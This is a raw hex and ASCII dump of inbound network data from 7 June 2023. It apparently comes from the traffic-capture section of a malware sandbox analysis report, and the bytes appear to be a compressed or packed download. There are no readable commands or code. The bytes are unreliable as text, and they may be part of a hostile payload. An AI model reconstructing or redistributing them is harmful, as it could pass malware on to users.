e0 f5 75 ee 14 f9 8f e0 4d 84 59 d3 f5 2e 5f 50 c5 de 03 03 42 a4 fc 43 fe 23 3e 53 14 93 c5 8e bb d0 36 aa 09 Data Ascii: ?!d8?"YN-HF?0[wd? cf???-[6N6]o'Z4?C1e-CSF,w?(F_eJ;X2?$/>/VW#(7? LQ+?hC!c}`y.-X1UuMY._PBC#>S6
2023-06-07 15:08:48 UTC	2519	IN	Data Raw: e7 32 3f 4f df 63 52 f6 2c 06 cb 6b ef bd 30 bf 6f d7 07 5b f5 66 c1 a2 ed 13 b7 af 0c 34 18 5e 96 f4 ee 3d 3c 91 05 ef c8 2f 65 2f 52 06 4c ee 29 bc 36 8b 56 c2 3f f8 bc f6 22 60 b7 a7 9b 53 c9 49 96 15 96 ee 97 22 7a 27 39 21 97 67 b0 a4 06 cb 8b d0 75 2a f7 a6 c5 16 8e 36 99 e6 9e 86 ef 6c 06 a7 98 86 99 34 ae 98 ad c8 89 68 13 96 aa d4 f7 ac 12 7d da b7 ee ac 09 06 fc 2d 2e a9 b6 fc 9e ed 76 ef 06 50 5e 29 ee 9e 09 9c 0d e6 b1 4b f2 11 f1 4e f0 0e 61 0f ad 1f 66 f0 82 80 67 b3 bd 0e 1b 06 af c3 b7 7e 85 6c 9b cd 76 1e d0 06 84 87 b1 06 b0 e8 1e b7 fb f7 ba e6 d9 b6 b9 3a ba 4f 96 8e 70 06 9e 67 f3 bc 69 0e a2 9b b2 05 da 0c 9e ed d3 8c f7 76 8b 8a 69 06 89 cc 58 ef fd e8 6d 88 9e 36 a4 f7 09 8c a7 06 59 46 e5 36 e4 23 7a 06 d1 f7 09 8c f5 56 cd e8 db Data Ascii: 2?OcR,k0o[f4^=</e/RL)6V?"`SI"z'9!gu*6l4h}-.vP^)KNafg~lv:OpgiviXm6YF6#zV
2023-06-07 15:08:48 UTC	2535	IN	Data Raw: e3 e4 e5 e6 e7 e4 39 79 4e e8 e9 ea eb 4e 9e 93 e7 ec ed ee ef f0 e7 e4 39 79 f1 f2 f3 f4 79 4e 9e 93 f5 f6 f7 f8 f9 93 e7 e4 39 fa fb fc fd eb 05 4d 9e fe ff 15 05 0f 27 cf c9 33 02 03 04 05 06 73 f2 9c 3c 07 08 09 0a 3c 27 cf c9 0b 0c 0d 0e 0f c9 73 f2 9c 10 11 12 13 9c 3c 27 cf 14 15 16 17 18 cf c9 73 f2 19 1a 1b 1c 1d f2 9c 3c 27 1e 1f 20 21 27 cf c9 73 22 23 31 61 32 73 f2 9c 3c 62 33 63 34 3c 27 cf c9 64 35 65 36 66 c9 73 f2 9c 37 67 38 68 9c 3c 27 cf 39 69 3a 6a 3b cf c9 73 f2 6b 3c 6c 3d 6d f2 9c 3c 27 3e 6e 3f 6f 27 cf c9 73 40 70 41 71 42 73 f2 9c 3c 72 43 73 44 3c 27 cf c9 74 45 75 46 76 c9 73 f2 9c 47 77 48 78 9c 3c 27 cf 49 79 4a 7a 4b cf c9 73 f2 7b 4c 7c 4d 7d f2 9c 3c 27 4e 7e 4f 7f 27 cf c9 73 50 80 51 81 52 73 f2 9c 3c 82 53 83 54 3c 27 Data Ascii: 9yNN9yyN9M'3s<<'s<'s<' !'s"#1a2s<b3c4<'d5e6fs7g8h<'9i:j;sk<l=m<'>n?o's@pAqBs<rCsD<'tEuFvsGwHx<'IyJzKs{L\|M}<'N~O'sPQRs<ST<'
2023-06-07 15:08:48 UTC	2551	IN	Data Raw: 78 90 7d 0b 5d fc 0e e9 04 76 7a 2f d4 ff ff ff ff d6 a6 71 0c 9f f0 1e f7 f0 12 e7 b0 88 a7 b8 84 57 d8 8e 9b 93 e8 34 e3 e2 3e ee e2 5b 86 97 e2 f6 ff ff ff e6 49 f6 67 f1 03 eb 38 85 eb 98 43 bb 8a 83 19 dc c6 72 14 1e 86 e0 57 8f d3 46 88 30 ff ff ff ff 05 9b 71 fb 1f ae e2 ce 90 6c 6a 2c 44 79 17 15 d6 30 89 bf 09 eb 19 de ee 43 70 1c 97 31 92 bb fd 8b 60 eb 9d 43 09 b2 5d 07 74 1e 67 a3 38 12 ff 7f c1 37 9e a7 a7 71 25 87 24 93 99 5d d4 6a 2d ac 60 55 a9 73 5b 09 b1 1f ff ff ff ff 4b 11 18 c5 57 74 9b 51 bb 19 e6 17 4a 55 8b 38 81 0e 8e 62 4a 09 78 5d 79 48 73 b8 80 76 ed a0 ff ff ff ff b2 f7 48 c6 95 3a df e1 0c e6 f1 21 ca 1d 6c e5 6c 07 9f eb 10 da f8 a8 a4 bb 12 7b af 13 56 2b ff ff ff ff 04 6f e2 6c 1c df eb df ec 4f 71 2c 97 9e 2b ad 34 f2 55 Data Ascii: x}]vz/qW4>[Ig8CrWF0qlj,Dy0Cp1`C]tg87q%$]j-`Us[KWtQJU8bJx]yHsvH:!ll{V+olOq,+4U
2023-06-07 15:08:48 UTC	2567	IN	Data Raw: b3 a6 83 99 7b 4a db 4f 7c 2d 58 8b c8 99 df 93 af 92 a1 ff 0f ad 61 59 55 48 31 80 5a b6 b9 87 f0 fe fc ff ff ff fe 38 f6 66 a6 c8 a8 23 31 08 1d 41 95 7e 80 19 e6 31 62 59 b6 f0 e2 45 17 48 df b0 66 81 a6 5f f0 57 0c 8a c2 cf 16 5d b6 52 12 0f 86 79 88 bc 67 52 ff ff c5 c2 2d 56 ec dd db d8 9d b4 97 a0 f8 19 91 e5 6a 03 a1 59 1c 10 ff ff 7f d7 7e 4d 22 3e 21 ac 48 11 85 f0 11 eb d4 8e 25 f8 63 97 88 f2 ea 80 6e b8 da 77 f5 ff aa ff 58 c4 08 3b b6 01 fc 8b b6 b2 22 7e ea e7 c4 2d ab ae 20 f4 1c 8c f0 ff ff df bc c6 fd 82 8e 65 00 1f 50 65 52 cb b1 97 d3 16 a7 9c ba 85 d2 8b 90 2d 1c 88 ae ff 45 94 4a 6c 00 7d d3 9a 0d b9 dc 32 71 0e ff ff ff ff f5 0a 1d 06 d3 3c 48 de b5 ce 47 b9 3a 92 01 7c 44 6b 90 57 ea be 8b 29 0a d6 55 b5 e9 c7 51 46 bf fd ff ff d0 Data Ascii: {JO\|-XaYUH1Z8f#1A~1bYEHf_W]RygR-VjY~M">!H%cnwX;"~- ePeR-EJl}2q<HG:\|DkW)UQF
2023-06-07 15:08:48 UTC	2583	IN	Data Raw: 15 7e e7 d2 7f d7 a2 4a 56 7f e8 07 60 c4 5b f9 00 f9 a0 8a 60 d3 7f d5 83 28 66 65 00 7e 64 23 b6 95 80 3b 16 a0 77 36 92 a5 26 2c 4c fe 7f d1 95 08 82 3a e1 60 e1 0c 3a e7 00 ce 20 e2 64 d8 44 1f a4 31 6b c3 fa 0b 78 ea 80 19 a4 da 28 13 6e 59 ba 02 68 18 ca ea bb cd 92 7c 85 a5 47 b5 9e 6d 3a 80 0a 05 81 08 ed 01 21 2d 34 8c 41 68 ba 60 30 80 ca c2 a0 b0 f4 28 04 1c ea d6 a4 e2 d7 ba 8a 6f 1b 36 77 20 17 a0 34 a0 d6 2e 40 16 c1 06 d2 1a 5b 56 fb c4 ce c5 60 a1 22 ac 86 f4 f6 6a 41 00 81 e0 16 fb 28 d8 00 3a 39 3c 84 6a 5d 70 2d 6b 51 38 82 a6 0c 49 2b 01 f6 3a 31 55 c2 1f dc 2c 64 25 8d b2 25 e2 40 e3 01 64 12 17 ed 02 fe 43 90 a0 45 60 04 e3 c6 76 a0 0c 7d 26 e2 0d b0 75 c3 08 9d ce f4 02 d7 f6 43 83 a6 be fd 00 66 43 1a b1 49 d0 43 3f b0 33 c2 d5 9b Data Ascii: ~JV`[`(fe~d#;w6&,L:`: dD1kx(nYh\|Gm:!-4Ah`0(o6w 4.@[V`"jA(:9<j]p-kQ8I+:1U,d%%@dCE`v}&uCfCIC?3
2023-06-07 15:08:48 UTC	2599	IN	Data Raw: 2e bf 03 fe 24 20 b6 8c 13 47 2b 8d cc 7d 88 37 36 13 61 6d b2 44 0a 00 25 89 14 5e f1 df 18 26 21 29 a0 f1 f0 02 a2 00 9c 62 81 12 04 9d 49 dc 1b c3 80 ee 05 10 48 70 b3 61 d0 24 68 71 36 23 80 2e bc 3a 06 e5 c2 18 76 5b fe b0 cb f8 a6 ae 53 61 37 a1 80 d0 17 78 a4 d4 50 f5 c8 86 2a 81 ae 5c b0 de f0 cd b2 33 bb e0 12 b8 c2 31 fc 58 5c 01 76 bc d2 8c 4c 2d 49 43 f8 78 59 42 fe 49 e2 7f a1 af 69 8c 49 eb 3e ad 80 73 30 ef 80 19 80 4d 5b 01 aa 92 0b c8 25 e2 3d 16 26 75 6a e3 05 ff 2a 60 20 bf 80 0f c4 2e e6 fe 00 30 37 70 0a ad 16 f0 14 89 51 31 5c 8c e0 b8 47 b6 f5 ff 0f 2e f7 e0 11 1f 24 19 69 d3 25 61 8a 32 2d 49 0f 89 db 9c 8a 5e a5 4b 01 5f d2 08 60 8f 23 6c f4 9e e8 f6 ff df 8c 3d a0 b2 20 64 e9 02 c4 e9 04 c3 e9 05 fe f1 03 9b 8c ba 80 14 51 70 88 Data Ascii: .$ G+}76amD%^&!)bIHpa$hq6#.:v[Sa7xP\31X\vL-ICxYBIiI>s0M[%=&uj` .07pQ1\G.$i%a2-I^K_`#l= dQp
2023-06-07 15:08:48 UTC	2615	IN	Data Raw: f9 84 83 de 14 1d 8a 55 9c 75 71 74 24 9b 34 fb 55 b2 bb 66 a1 e5 82 ea 44 9a 91 b8 83 a3 80 36 5e f4 8f 22 90 a3 18 82 c0 83 b2 bc 84 88 82 ff 05 15 5d 0b f6 4f 2f d6 00 3a 0d e2 ae bf a0 c0 f0 80 ac 81 c2 76 42 48 2c 42 3a 85 42 1d 8a 7b 50 60 53 e4 f7 3c cb 80 52 8f 83 02 58 e7 8a 2e d0 88 97 04 6c 51 33 d1 cc 02 76 1e 04 fd f8 81 f2 ec 55 0b ec 01 f8 01 0b ac f6 d2 80 08 d0 2f 7e cd 00 c5 1e 00 58 60 4d 57 ac 44 57 8a ff 8b db 90 cf cc 61 74 12 9b 4f 81 86 41 b4 83 45 df 66 5f 15 a4 54 80 96 c1 64 2b 57 07 81 bb 01 09 1c 00 0c f2 92 94 ff aa b4 ef 1d 6b 06 28 01 0e 45 81 c2 05 04 31 87 4d 68 2a ec 91 9a 0d 11 34 0a 01 e3 4c 02 61 1b 3c cd 9e eb bf 1a 50 51 78 31 82 87 09 00 0a 86 0a 09 42 30 05 99 a2 ba 76 96 18 62 0b 31 66 df f1 1f f6 0d 0b 1f 2a 2c Data Ascii: Uuqt$4UfD6^"]O/:vBH,B:B{P`S<RX.lQ3vU/~X`MWDWatOAEf_Td+Wk(E1Mh4La<PQx1B0vb1f,
2023-06-07 15:08:48 UTC	2631	IN	Data Raw: 6c a1 b6 c1 9b 3e 5e 7a 7f 9d a6 c1 ce e7 b6 f5 ff ff ff 53 c8 53 e3 53 d7 56 1f 57 eb 58 02 59 0a 59 15 59 27 59 73 59 50 5b 80 5b f8 5b 0f fd ff 5d a4 bc 38 5c 6e 5c 71 5c db 5d e5 5d f1 5d fe 5d 72 ff ff ff bf 6c 5e 7f 5e f4 5e fe 5e 0b 5f 13 5f 50 5f 61 5f 73 5f c3 5f 08 62 36 62 4b 62 2f 65 34 65 87 ff ff ff ff 65 97 65 a4 65 b9 65 e0 65 e5 65 f0 66 08 67 28 67 20 6b 62 6b 79 6b b3 6b cb 6b d4 6b db 6b 0f f5 8b 01 e8 6c 14 6c 1e 70 2a 72 36 72 3b ff ff 85 a2 be 47 72 59 72 5b 72 ac 72 84 73 89 73 dc 74 e6 74 18 ff bf e2 ff 75 1f 75 28 75 30 75 8b 75 92 75 34 7d 76 ae 76 bf 76 ee 76 db 77 e2 77 f3 77 00 ff ff ff 3a 79 b8 79 be 79 74 7a cb 7a f9 7a 73 7c f8 7c 36 7f 51 7f 8a 7f bd 7f 62 a8 2d bd 4a 0c 80 12 80 c6 42 ff ff 0b a0 e3 a8 10 19 29 38 3c 8b Data Ascii: l>^zSSSVWXYYY'YsYP[[[]8\n\q\]]]]rl^^^^__P_a_s__b6bKb/e4eeeeeeefg(g kbkykkkkkllp*r6r;GrYr[rrssttuu(u0uuu4}vvvvwww:yyytzzzs\|\|6Qb-JB)8<
2023-06-07 15:08:48 UTC	2647	IN	Data Raw: 4e 14 13 12 11 39 39 79 4e 10 0f 0e 0d 39 39 39 39 0c 0b 0a 09 39 39 39 39 08 07 06 05 3a 39 39 39 04 03 02 04 7f fb 05 97 0b 2c 19 03 1e 03 32 04 02 4b 04 5a 05 5a 06 64 6a 76 65 49 b6 04 41 02 16 36 36 5b 48 1d 01 1f 11 4f b9 ed 52 da 1f 83 07 02 d2 79 5e 37 65 f0 00 cc aa 18 08 1b d1 c8 1f f3 bc 61 43 4e 1f 0f 00 33 55 82 b7 85 b9 27 1f 47 1f 17 ee 3c cf 1b 01 00 10 11 44 67 4e 77 0f 74 b7 03 40 08 01 30 2d 4f 24 e7 7f cf 7c 02 0f e7 79 9e ce 09 01 f0 80 08 88 2b 19 ce 9d 22 87 97 ae 80 73 a7 7b 04 c0 01 0c 87 97 87 c0 bd df 5d f0 03 09 6f 60 07 29 56 bc 06 f9 50 06 10 ce 08 73 b6 bb 2d de 2f 90 08 70 06 30 48 90 10 07 0a 1e a7 3d 3c cf 60 20 a0 51 3e 80 3c cf 7b 9e 40 e0 06 1e 58 18 90 f3 cf f3 76 46 07 3b 7e 78 38 d0 00 11 07 11 cf f3 3c cf 68 28 b0 Data Ascii: N99yN99999999:999,2KZZdjveIA66[HORy^7eaCN3U'G<DgNwt@0-O$\|y+"s{]o`)VPs-/p0H=<` Q><{@XvF;~x8<h(
2023-06-07 15:08:48 UTC	2663	IN	Data Raw: 18 8c 18 a5 18 ab 18 b4 18 ba 18 c5 18 cb 18 d4 18 da 18 a0 fa ab fe ee 18 f4 18 fd 18 03 c0 19 14 19 1d 19 23 19 ff c4 00 55 49 b7 42 f8 bf 4b 5e c6 14 cc 14 d7 14 dd 14 e6 14 ec 70 99 96 bd 08 06 15 0f 15 00 7c ff ff ff 7f 32 35 15 4e 15 54 15 5d 15 63 15 6e 15 74 15 7d 15 83 15 97 15 9d 15 a6 15 ac 15 b7 15 3f cd ff 9f bd cc 15 e3 15 e9 15 f2 15 f8 15 03 16 12 2c 16 32 ff ff 3f ff 16 3b 16 41 16 4c 16 52 61 16 7a 16 80 16 89 16 8f 16 9a 16 a0 16 a9 16 af 16 c3 ff ff cf ff 16 c9 16 d2 16 d8 16 e3 16 e9 f8 16 70 16 76 16 7f 16 85 16 90 16 96 16 9f 16 a5 ff ff f3 ff 16 b9 16 bf 16 c8 16 ce 16 d9 16 df ee 16 07 17 0d 17 16 17 1c 17 27 17 2d 17 36 fc ff fc ff 17 3c 17 50 17 56 17 5f 17 65 17 70 17 76 85 17 9c 17 a2 17 ab 17 b1 17 bc ff f3 ff f3 cb e5 17 eb Data Ascii: #UIBK^p\|25NT]cnt}?,2?;ALRazpv'-6<PV_epv
2023-06-07 15:08:48 UTC	2679	IN	Data Raw: 25 4f 38 86 47 be ef b5 d5 8c 8b c6 9d c1 0f 65 9c ac 77 cc a1 0c 24 75 02 2b 57 fd ff ff 59 6f 2c e9 2d 83 e4 a6 6e aa 84 74 4a d4 fb 41 bd dc a9 b0 5c b5 80 83 da 88 ff ff ff ff f9 76 ab df 66 ee 52 51 3e 98 10 32 b4 2d 6d c6 31 a8 3f 21 fb 98 c8 27 03 b0 e4 0e ef be c7 7f ff ff db ff 59 bf c2 8f a8 3d f3 0b e0 c6 e8 0a 93 47 91 a7 d5 6f 82 03 e0 51 63 ca 06 70 6e 0e 0a 27 a5 bf e9 67 29 29 94 2f d2 46 85 0a b7 27 f0 5f 68 e9 7f 5c 38 21 1b 2e ed 2a c4 5a fc 70 df b3 95 9d 13 ff df 41 10 80 de 63 af 8b 54 73 0a 65 a8 b2 77 3c bb ff ff ff ff 0a 6a 76 e6 ae ed 47 2e c9 c2 81 3b 35 82 14 85 2c 72 92 64 03 f1 4c a1 e8 bf a2 01 30 42 bc 4b ff ff ff ff 66 1a a8 91 97 f8 d0 70 8b 4b c2 30 be 54 06 a3 51 6c c7 18 52 ef d6 19 e8 92 d1 10 a9 65 55 24 04 fe ff ff Data Ascii: %O8Gew$u+WYo,-ntJA\vfRQ>2-m1?!'Y=GoQcpn'g))/F'_h\8!.*ZpAcTsew<jvG.;5,rdL0BKfpK0TQlReU$
2023-06-07 15:08:48 UTC	2695	IN	Data Raw: 73 98 f8 6f 06 48 38 2f 77 37 46 38 33 72 b6 76 83 83 f8 7f 42 45 38 4c 67 45 52 45 6a 4c 50 69 be 50 2a 80 8b 7e 35 48 31 66 75 62 28 2b 68 30 1a 6c f6 ff ff df 1c 5a 42 4a 36 38 79 62 54 58 66 51 35 55 39 6f 2f 51 4b 41 33 64 64 30 74 6f 74 ff 8b 84 ff 68 68 64 52 55 44 47 7a 57 fe 77 6b 45 51 66 71 46 31 72 65 b9 a5 b0 8a 47 be 2f 3a ee ca f7 10 fe 2a 5e 44 46 69 36 58 30 45 cf 34 77 4f e2 ff f6 ff 76 2f 70 6a 53 43 33 74 79 36 54 75 18 4b 58 32 72 4f 55 69 42 72 4c 58 86 2a 41 b1 34 32 4a c6 aa 6f d8 37 70 c5 8a 57 4a 69 70 a4 74 2b 52 3a df f0 1b fe 56 50 61 66 4c 2f 02 44 6e 36 4d 62 77 fa 79 4f 6b 63 5a 21 f8 17 d8 68 42 e0 80 4e 7a 35 41 36 51 34 6c 42 46 e1 5f 51 44 71 3a 71 48 7a 6e 52 43 51 51 e2 ec 51 45 fb 31 47 38 65 79 f6 2f aa 4c 26 65 32 Data Ascii: soH8/w7F83rvBE8LgEREjLPiP~5H1fub(+h0lZBJ68ybTXfQ5U9o/QKA3dd0tothhdRUDGzWwkEQfqF1reG/:^DFi6X0E4wOv/pjSC3ty6TuKX2rOUiBrLX*A42Jo7pWJipt+R:VPafL/Dn6MbwyOkcZ!hBNz5A6Q4lBF_QDq:qHznRCQQQE1G8ey/L&e2
2023-06-07 15:08:48 UTC	2711	IN	Data Raw: 20 96 23 47 5e d8 e9 f0 ba e8 b1 be fc 5e b6 7e 8f f8 84 08 10 c7 67 67 47 fe 3f 08 08 bf 20 02 2f 18 07 3f 34 3c ef d9 91 23 28 d1 40 b6 1f 38 3a 20 0f 38 72 e4 c8 50 3e 48 39 60 33 58 e7 b3 23 67 a7 ef 5c 82 8f 70 fb 68 48 1f 80 ec c8 d9 91 df 78 bf bf 8c 9e 88 c4 0f 23 67 67 8a 3c 4f 90 fa 3f a8 c0 a0 ec c8 91 b3 93 0f b0 9b ac 97 c0 20 ef 3b f2 f2 ec b8 a9 7f d0 2a 23 c8 db dc a6 0f 1d 39 3b 3b d8 0b af ec 29 3f e4 a4 fc be 0a 5c be 9c 8f f4 21 09 04 bc 09 82 23 bf 47 7e 0f 10 a9 08 66 26 1f 20 da 18 c8 d9 91 b3 b3 4f 30 f7 28 ca 5f 40 f8 1d 79 f9 f2 38 93 21 50 61 22 48 c3 5c d5 67 47 5e 9e 3f 58 a4 03 6c 1a 64 c9 2f 7c d6 d9 91 b3 23 74 f6 8f 88 b5 80 e4 3f f2 f2 ec c8 98 a3 90 f2 1f a8 ef 00 a0 d4 47 8e 1c 39 b8 e0 b0 eb c8 ec c0 78 c8 d9 91 97 01 Data Ascii: #G^^~ggG? /?4<#(@8: 8rP>H9`3X#g\phHx#gg<O? ;*#9;;)?\!#G~f& O0(_@y8!Pa"H\gG^?Xld/\|#t?G9x
2023-06-07 15:08:48 UTC	2727	IN	Data Raw: 73 b1 db c1 a6 33 8f ff 68 43 c5 56 db 8c 83 37 7b 46 89 06 c1 61 6f 7f 6c 18 44 78 bf f3 20 0b 87 78 a9 ad d9 ff db 01 48 69 e2 18 a7 57 90 5e 01 19 2b 2c 20 a5 7b 8b 38 e3 1d 61 28 29 2d 00 a1 36 47 fd 22 f0 2e ff 39 37 0a 78 24 10 8a 7f b5 d2 d5 28 02 a9 2d c0 f7 19 9a 75 2a 31 20 ba 35 0a 29 82 00 0d 2f 9f 04 a1 33 48 e3 62 72 08 56 84 6e c9 2d 42 39 b0 ca c6 29 33 0a 67 1e 28 35 92 ef 28 e6 7e 01 97 a2 00 af 01 60 d1 b0 b8 ef df c3 1a 68 18 52 d7 3a 03 05 81 d8 54 7f 9d 31 52 c1 23 82 0a 17 68 75 0d 46 0d 81 e0 26 09 cf 91 62 89 08 0f 9f ea 08 c4 52 5d a3 1f b0 4b 44 91 f7 a4 8f 58 4e 10 5a a5 93 60 30 01 83 df 4b 31 2c 26 d7 17 c3 04 f0 68 60 99 12 0d a1 5b 95 8f c1 16 11 2c a6 47 8f d1 98 41 28 c3 53 84 62 83 54 1e 8f a4 a0 58 14 2d 07 0b 0b b0 19 Data Ascii: s3hCV7{FaolDx xHiW^+, {8a()-6G".97x$(-u*1 5)/3HbrVn-B9)3g(5(~`hR:T1R#huF&bR]KDXNZ`0K1,&h`[,GA(SbTX-
2023-06-07 15:08:48 UTC	2743	IN	Data Raw: 4e 75 28 06 24 67 78 a8 48 1e 1b 75 31 1b 78 12 e8 15 02 79 9e 0c df 14 c8 c7 21 a4 07 4f 1b 7a 57 de 89 86 07 f1 4c f7 7c 94 06 90 68 78 27 18 f7 7c 9d 06 f6 f7 70 aa e1 aa 98 8f f0 ac 40 de 29 08 c7 7d 39 5e 20 b0 51 04 ae 0d 59 0d e2 ca 22 7f 2c 5c c8 48 a9 1f 29 96 71 16 46 03 2d 94 64 63 27 56 e7 da 13 08 ac 4f 08 64 1f d4 cd 32 ee 70 b0 f9 66 b6 6e 10 a1 63 ef 77 82 2f b4 b0 f9 5b f2 e8 26 38 01 81 80 8e 2f f1 cc 08 86 47 1d e7 f3 68 17 53 30 bc c5 86 fe 0c 77 88 bd eb b4 bd 07 be b8 0e 8c de 2f e4 06 7e 68 bd c9 bd 2d a7 1b 8e 0b 16 36 74 c4 6d e9 06 4e a7 f2 17 30 03 0b d6 8d a9 c7 d0 93 9c 9a 7e cf f4 18 b7 8e 23 8e f4 4e 30 bd 56 06 1b b7 8d fb 36 2e 44 c8 47 d4 b7 1b 8e 3e ec f8 08 6d b6 13 8f f3 a4 8e 87 c4 1d b0 4e 80 f3 e8 af 10 f2 20 0f 1b Data Ascii: Nu($gxHu1xy!OzWL\|hx'\|p@)}9^ QY",\H)qF-dc'VOd2pfncw/[&8/GhS0w/~h-6tmN0~#N0V6.DG>mN
2023-06-07 15:08:48 UTC	2759	IN	Data Raw: 06 81 41 d8 f4 8b b2 fd 91 22 2e 2f 48 2c 77 73 32 5f 81 95 e1 b0 37 6f e6 21 46 62 76 66 57 bf 73 39 89 06 76 52 de 54 48 00 56 14 b0 38 44 50 78 a1 c0 58 48 f6 0e 78 ec b4 d4 66 0f eb 5f 1f d8 60 9f 0a 23 47 3f 60 20 3e 35 33 df 7a 59 1b 31 7d d4 38 b3 52 50 df 8f 4f 28 54 d0 83 1a 8f 4c 30 7f 40 ae fc 03 28 2f 13 00 28 2f 19 28 2e fc 8c 42 1e aa 28 2f a3 2b a0 1a 38 76 8f 0f 54 41 ef 28 30 c1 06 02 7f 28 f1 bb ff 40 01 f2 00 28 f1 d2 1a 8f f1 00 28 2f 9a 03 55 f2 20 28 f2 aa 29 01 a2 06 de 12 81 06 56 8f 1e e4 41 fe 28 fa fd 00 29 0a 96 28 f2 d3 28 2f 54 bc 07 79 48 29 2b f2 29 2c 0d 06 59 36 cf 66 f3 a3 2d 65 2e 48 e3 2f 7c 45 02 f0 6c 30 47 b9 6f 3e 2a f9 03 29 22 dd 00 29 1b 28 ef 06 41 43 28 42 b6 37 f6 62 1a 87 6d 04 af 06 0f 02 e6 8e 32 1e c5 c2 Data Ascii: A"./H,ws2_7o!FbvfWs9vRTHV8DPxXHxf_`#G?` >53zY1}8RPO(TL0@(/(/(.B(/+8vTA(0(@((/U ()VA()((/TyH)+),Y6f-e.H/\|El0Go>*)")(AC(B7bm2
2023-06-07 15:08:48 UTC	2775	IN	Data Raw: e7 02 fd e2 fc c2 fc a2 fc 81 fc 71 fc 61 fc c2 58 4d 59 77 da 31 fc 21 0c 01 fc ff ff ff ef ba e1 fb d2 fb bc 06 6f 06 b1 fb a1 fb 5f 06 e7 06 7e 06 ca 06 ac 06 bb 06 91 fb f4 06 d6 6f fa ff 4f 06 f3 06 3f 06 8d 06 6e 06 f2 06 2f 22 fb f1 06 1f 06 c9 81 60 55 53 26 e5 2e a7 60 fd 7f ab 06 5e 06 d7 06 7d 06 e4 06 4e 06 c8 82 78 d3 ff 7f e3 06 d6 06 6d 06 3e 06 b9 06 9b 06 e2 06 aa 06 2e 2e 06 1e 06 71 6e c0 12 2c 6e 06 5d 7c 0e f4 24 58 82 ef 08 aa 01 10 ac 45 5f ba fc 02 cf 02 ed c6 02 fb 5d 34 fa a6 7e 02 ec 02 ce 02 dd d2 ae eb 01 be 5f 68 5b 1f b6 cd 01 f9 8a ae 01 db 01 bd a8 d0 b6 44 ce 8e cc a2 ef ff e8 96 9e 9a 7f 01 da 01 ad 01 cb 01 f6 02 ea 02 5e 35 da d6 a2 e8 ba 01 f5 0e 9d 8c 51 27 65 32 e6 26 5f f1 d7 90 0e 61 fa 51 fa 4d c6 fa 31 fa 21 fa Data Ascii: qaXMYw1!o_~oO?n/"`US&.`^}Nxm>..qn,n]\|$XE_]4~_h[D^5Q'e2&_aQM1!
2023-06-07 15:08:48 UTC	2791	IN	Data Raw: 6d fb 54 cc b4 c6 b5 77 b0 ec ff 4f 2b 3d be 4f 84 6b b9 3f 5f 0e be 2f 87 d9 fd b3 5f c4 3f d8 0f c9 3f db 06 cf ce 3f 11 21 e2 3f 00 d3 3f ce 13 d4 3f 1f 7e df 3e 5b 7f d9 3f 60 cd 06 98 a5 da 3f cc 01 dc 3f dc 5e ca 24 ff dd 7f e0 89 47 fe 9f e3 3f aa f1 d2 4d 62 10 e4 3f e5 3f 71 cd 6f de 32 af 0e c3 f5 28 5c 8f c2 66 de 7e 9b 7d 01 e6 6f 80 0e bb b9 f8 db 9e a0 1f 00 e8 ad 3b fc de df e9 3f 6d 3d ea c6 71 ea bf fb bf c3 f7 eb 3f cd ff ec ff d1 45 17 ed 3f 8e 44 6e 53 09 1c 0e f6 b3 ed 03 ad 14 ee bf 0e 1d ae ef af f6 ff bf ff f0 3f 72 c4 5a 7c 0a 0e d3 e3 fb 44 b8 96 f1 3f b8 1e 85 eb 51 b8 f2 af b2 70 f7 ed f3 4f f4 3f 48 6d 47 f5 3f 89 6d b6 d1 df 2f f8 0f d9 2d dc 04 ef 7f fa 2f 4f 70 4d dd c0 fc 0f 40 ef 40 8f 01 40 72 c3 8e 08 12 5c c7 0e ed 6c Data Ascii: mTwO+=Ok?_/_???!???~>[?`??^$G?Mb??qo2(\f~}o;?m=q?E?DnS?rZ\|D?QpO?HmG?m/-/OpM@@@r\l
2023-06-07 15:08:48 UTC	2807	IN	Data Raw: e4 82 8d 0e 8f 36 bf 74 ba 98 ae 26 8d 97 57 d8 70 43 c1 a2 7f 27 28 8e c4 30 81 ec af 80 00 80 8f aa 0b a4 c1 99 1f 98 2c c7 f0 de 15 01 6f 04 96 e4 3e 7c ea 16 c1 8a b7 7f 3f 98 36 31 e0 22 3f 74 cf 3c af e8 42 0e 2e 80 c6 80 a8 f3 6a b1 8b e7 10 cf a6 96 bc d2 80 0b 64 97 9c f0 56 e4 04 91 c7 04 98 77 df 56 f5 5e c8 9c 97 28 06 0c 6f 04 1c cd e8 b7 4c 2f 8d 0b 06 38 c1 d7 99 84 07 a3 8b 60 82 47 3c 67 84 16 15 ae 55 85 e4 f7 5f b8 3a 26 f6 37 27 28 e7 e0 39 c1 14 57 3f 5e ef 9d e4 20 0b 89 09 9f 4e 95 74 07 23 1e 1d a9 de a8 4c b7 91 b8 01 4c b0 f4 57 a2 9f d6 3b 71 9d ab 7c cf a0 30 d6 94 27 b8 70 14 3f 99 b7 a9 40 3e 24 62 02 87 26 1f 54 51 6a 02 d9 5e 8f 70 a8 6f 0a 60 22 38 a3 30 bf aa ef 42 4e 44 27 a9 0c 3f a8 68 10 9a 89 77 ac 80 46 f0 4f f2 74 Data Ascii: 6t&WpC'(0,o>\|?61"?t<B.jdVwV^(oL/8`G<gU_:&7'(9W?^ Nt#LLW;q\|0'p?@>$b&TQj^po`"80BND'?hwFOt
2023-06-07 15:08:48 UTC	2823	IN	Data Raw: 34 af 3f 6e 10 13 94 c0 31 97 9b c6 de 3b 71 ef 31 c4 c6 f8 06 cc d7 47 23 b4 d7 ae 1c 86 a4 b7 1f 12 f7 4e c8 9e 30 98 56 24 8e 40 7e 4d 30 47 9f 4e 32 f4 c8 a2 8b 9d 9d ec 97 c8 06 9c 10 89 50 18 5c 9c 0e af 42 1e 20 df a0 7c a6 bc 02 a0 cc 79 17 c5 73 32 8c 94 27 88 7e 5c 0f 17 72 02 9d 80 2c 36 90 6e 01 e4 24 9c 34 57 5c 0a 87 d9 c0 7f 03 d7 a4 47 17 55 5c c8 09 9f 24 f8 3f 09 02 87 b7 7f 9d ac 2f 57 0b 82 d7 0e 56 06 e4 46 50 1f de 19 b1 86 f4 c7 7f a1 20 5f 08 3c 26 38 6f 68 1f 57 08 20 7b 24 46 36 07 da 73 62 27 a1 28 c7 9d 14 90 cf a9 05 c1 c5 0f 87 6a 17 8a 44 af ae 87 76 fc b2 69 64 28 f7 03 f8 86 30 34 7a 4e ec 04 9e 34 57 9c 00 64 14 c3 bb 60 0f 40 3e a4 17 1c 17 cc e3 9e 84 f7 77 78 9f 6f 81 6c 4e 9d e0 31 00 ce 9b cd d6 91 8e c4 7f 77 fe f7 Data Ascii: 4?n1;q1G#N0V$@~M0GN2P\B 